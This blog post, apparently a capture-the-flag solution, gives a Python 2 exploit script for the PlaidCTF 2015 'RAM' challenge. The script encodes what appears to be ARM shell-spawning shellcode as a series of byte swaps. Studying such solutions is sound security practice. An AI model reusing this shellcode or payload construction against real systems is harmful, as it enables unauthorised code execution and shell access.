Games/CTF
PlaidCTF 2015 RAM
daehee87
2015. 11. 18. 21:28
# pCTF2015 RAM exploit
import os, sys, struct
code = '09508fe215ff2fe1c1c2c3c4c5c6c7c87b46d96a'
code += '1d6b0639073d0391049505af083f381c4940921a'
code += '0b2701dff1f2f3f4f5f6f7f8b1b2b3b4b5b6b7b8'
code += 'b9babbbc3562696e36736800'
code = code.decode('hex')
buf = map(chr, range(256))
res = ''
i=0
for b in code:
target = chr( struct.unpack('<B', b)[0] )
n = buf.index(target)
#print 'swap {} - {}'.format(n, i)
res += chr(n)
res += chr(i)
buf[i], buf[n] = buf[n], buf[i]
i += 1
res += '\xfe\xfe'
print res